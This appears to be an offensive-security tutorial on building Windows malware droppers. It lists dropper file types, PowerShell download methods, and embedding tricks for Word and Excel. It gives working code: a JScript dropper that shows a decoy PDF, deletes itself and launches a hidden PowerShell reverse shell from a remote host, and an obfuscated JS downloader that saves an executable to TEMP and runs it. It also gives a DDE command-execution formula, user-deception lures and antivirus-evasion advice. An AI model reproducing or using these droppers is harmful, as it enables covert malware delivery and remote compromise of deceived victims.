A dropper never contains the actual payload. It is only the first stage which downloads the actual payload. For windows it can take many different forms, or written in different languages etc. Here are a few.

No.	Dropper type	File extension
1	JScript	.js/.jse
2	VBScript	.vbs/.vbe
3	Windows Script File	.wsf
4	HTML Application	.hta
5	Compiled HTML Help	.chm
6	Batch file	.bat
7	Shortcut	.lnk
8	Office Word/Excel	.doc/.docm/.xls/...
9	Registry file	.reg
10	Executable	.exe
11	Screensaver file	.scr
12	Program Information File	.pif
13	Installer Package	.msi
14	Java Archive	.jar
15	Troubleshooting pack cabinet	.diagcab

What we want to do here is really easy. We want to download the payload and then execute it. That is all.

However, we have a few requirements. 1. It needs to communicate over HTTPS. 2. It should not write anything to disk (except for the dropper of course). 3. It should download a fake document, and open it.

Executing in memory (Fileless)

So before we go in to start developing our dropper in different languages we need to look at the different ways to execute code in memory.

Powershell / WMI / ADODB.Stream

This is probably the most common way.

There are a few flags that can be used to make the powershell command a bit more stealthy. https://securityaffairs.co/wordpress/65570/hacking/powershell-attacks.html https://www.reddit.com/r/PowerShell/comments/8qsndn/sneaky_powershell_trick_run_completely_without_a/

With Powershell there are mainly three ways to download files.

Invoke webrequest

```
Invoke-WebRequest


$url = "http://mirror.internode.on.net/pub/test/10meg.test"
$output = "$PSScriptRoot\10meg.test"
$start_time = Get-Date

Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time taken: $((Get-Date).Subtract($start_time).Seconds) second(s)"
```

System.Net.WebClient

This is a .Net class that you can use straight from powershell.

```
(New-Object System.Net.WebClient).DownloadFile($url, $output)
```

Start-BitsTransfer

```
start-bitstransfer -source http://192.168.66.87/apaa.txt -destination test2.txt
```

Copy-item (SMB)

```
Copy-Item -Source \\server\share\file -Destination C:\path\
```

JScript / JS

JScript and VBScript are supported nativly in Windows. When clicked on they are executed by `wscript.exe`.

When a `.js` file is clicked on in a windows machine that script is executed by wscript.exe. Using a `.js` file might be beneficial because its icon looks like a text-document.

This is an example of a dropper that will do the following: 1. Download a clean PDF document. 2. Open the document 3. Remove itself 4. Download an run the actual payload

```
// Name of file: Interestingfile.js
// Download clean-document
command = "powershell.exe -exec bypass -Windowstyle Hidden -command \"start-bitstransfer -source http://192.168.66.87/Interestingfil
shell = new ActiveXObject("WScript.Shell").Run(command,0,true);

// Sleep a bit to make sure the document is downloaded
WScript.Sleep(3000);

// Open the document
var shell = WScript.CreateObject("WScript.Shell");
shell.Run("Interestingfile.pdf");

// Remove the dropper-file
command = "powershell.exe -exec bypass -Windowstyle Hidden -command \"rm Interestingfile.js\"";
shell = new ActiveXObject("WScript.Shell").Run(command,0,true);

// Launche the reverse shell
command = "powershell.exe -exec bypass -Windowstyle Hidden -noexit -command \"iex (New-Object Net.WebClient).DownloadString('http://
shell = new ActiveXObject("WScript.Shell").Run(command,0,true);
```

Not so fileless. This is another fun technique, however it writes to disk, so make sure that your malivious code is not of-the-shelf or it will be spotted by anti-virus.

```
 var myActXobj = this["ActiveXObject"];
var myShell = new myActXobj("WScript.Shell");
var myHTTP = new myActXobj("MSXML2.XMLHTTP");
var myTempPath = myShell["ExpandEnvironmentStrings"]("%TEMP%");

function dropperFunc(myURL, exeName) {
    var myPath = myTempPath + "/" + exeName + ".exe";
    myHTTP["open"]("GET", myURL, false);
    myHTTP["send"]();
    if (myHTTP.status == 200) {
    var myStream = new myActXobj("ADODB.Stream");
        myStream["open"]();
        myStream.type = 1;
        myStream["write"](myHTTP["ResponseBody"]);
        myStream["position"] = 0;
        myStream["saveToFile"](myPath, 2);
        myStream.close();
        myShell["Run"](myPath, 1, 0);
    }
}
dropperFunc("hxxx://mittmalware[.]com/mal.bin","CGvMIoL");
```

HTA

A .hta-file is basically just an HTML file. But when it is executed the javascript inside it has access to ActiveXObjects so it can execute anything on the machien.

.HTA files are more prone to be considered malware though.

```
<html>
  <head>
    <script language="VBscript">
    But your VBScript or JScript here
    </script>
  </head>
</html>
```

Registry file

Insert malicious file (OLE Object) into Word

OLE stands for Object Linking and Embedding.

You can embed different types of files into a Word file. Common OLE objects are JavaScript, VBScript or EXE files.

Open up a word document. Go to `Insert > Text > Object > Create New > Package > Browse to your malicious javascript-file` .

The user must click on the file for it to be executed. For this there are a few different techniques in use. It might be to make the icon huge, and then ask the user to click it to decrypt the text ot something like that.

It can also be to ask the user to click on the file to prove you are not a robot.

Dynamic Data Exchange - DDE

Using DDE it is possible to execute commands from within Word or Excel. Microsoft patched the possiblility to execute DDE:s from word.

In latest Microsoft Excel 365 (2019) you need to go to `File / Options / Trust Center / Trust Center Settings / Enable Dynamic Data Exchange Server Launch` for it to work.

You can execute commands like this:

```
=cmd| '/c cmd.exe'!A1
```

If you want to run more complicated commands that require multiple quotationmarks you can encode your payload with base64. It appreas that it needs to be

```
 [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-ChildItem'))
```

Download and execute your second stage payload

So, if you get your user to execute a `.js` file, DDE, EXE or any other type, you want to download your real code. There are some things you want with this. You do not want to write your second stage payload to disk, as that increase the risk of it being detected by anti-virus. So you want to run your code straight into memory if you can.

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/